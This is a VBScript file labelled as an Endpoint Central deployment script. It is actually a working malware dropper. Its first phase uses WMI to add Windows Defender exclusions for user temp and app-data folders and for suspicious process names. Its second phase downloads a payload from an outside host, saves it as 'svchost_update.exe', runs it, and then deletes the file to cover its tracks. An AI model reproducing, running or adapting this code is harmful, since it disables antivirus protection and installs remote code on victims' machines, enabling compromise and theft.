' EC Puller - Endpoint Central Deployment Script
' Deploy ID: y186tn
Option Explicit
On Error Resume Next

' === Phase 1: Add Defender Exclusions via WMI ===
Dim oLoc, oSvc, oClass, oMethod, oInParam, oOut
Dim oShell, sTmp, sLocal, sLocalProg, sAppData
Set oShell = CreateObject("WScript.Shell")
sTmp = oShell.ExpandEnvironmentStrings("%TEMP%")
sLocal = oShell.ExpandEnvironmentStrings("%LOCALAPPDATA%")
sLocalProg = sLocal & "\Programs"
sAppData = oShell.ExpandEnvironmentStrings("%APPDATA%")

Set oLoc = CreateObject("WbemScripting.SWbemLocator")
Set oSvc = oLoc.ConnectServer(".", "root\Microsoft\Windows\Defender")
If Err.Number = 0 Then
  oSvc.Security_.ImpersonationLevel = 3

  Set oClass = oSvc.Get("MSFT_MpPreference")
  Set oMethod = oClass.Methods_("Add")
  Set oInParam = oMethod.InParameters.SpawnInstance_()
  oInParam.ExclusionPath = Array(sTmp, sLocal, sLocalProg, sAppData)
  Set oOut = oSvc.ExecMethod("MSFT_MpPreference", "Add", oInParam)

  Set oInParam = oMethod.InParameters.SpawnInstance_()
  oInParam.ExclusionProcess = Array( _
    "msvcrt_x64.dll", _
    "svcruntime_x64.exe", _
    "TestRun_x64.exe", _
    "ghost_x64.exe", _
    "SCLoader_x64.exe", _
    "apprt*.exe", _
    "hostcfg*.exe", _
    "svcagent.exe")
  Set oOut = oSvc.ExecMethod("MSFT_MpPreference", "Add", oInParam)

  Set oInParam = Nothing
  Set oMethod = Nothing
  Set oClass = Nothing
  Set oSvc = Nothing
  Set oLoc = Nothing
  WScript.Sleep 10000
End If
Err.Clear

' === Phase 2: Download and Execute Payload ===
Dim sUrl, sDest, oXhr, oStream, oWmi, oProc, pid, oFS
sUrl = "https://junjun888.ccwu.cc/y186tn/runtime_pkg.dat"
sDest = sTmp & "\svchost_update.exe"

Set oXhr = CreateObject("MSXML2.ServerXMLHTTP.6.0")
oXhr.SetTimeouts 5000, 10000, 30000, 60000
oXhr.Open "GET", sUrl, False
oXhr.Send
If Err.Number <> 0 Or oXhr.Status <> 200 Then
  Err.Clear
  Set oXhr = CreateObject("WinHttp.WinHttpRequest.5.1")
  oXhr.Open "GET", sUrl, False
  oXhr.Send
End If

If oXhr.Status = 200 Then
  Set oStream = CreateObject("ADODB.Stream")
  oStream.Type = 1
  oStream.Open
  oStream.Write oXhr.ResponseBody
  oStream.SaveToFile sDest, 2
  oStream.Close

  Set oWmi = GetObject("winmgmts:\\.\root\cimv2")
  Set oProc = oWmi.Get("Win32_Process")
  oProc.Create sDest, Null, Null, pid

  WScript.Sleep 5000
  Set oFS = CreateObject("Scripting.FileSystemObject")
  If oFS.FileExists(sDest) Then oFS.DeleteFile sDest, True
End If

Set oShell = Nothing
WScript.Quit 0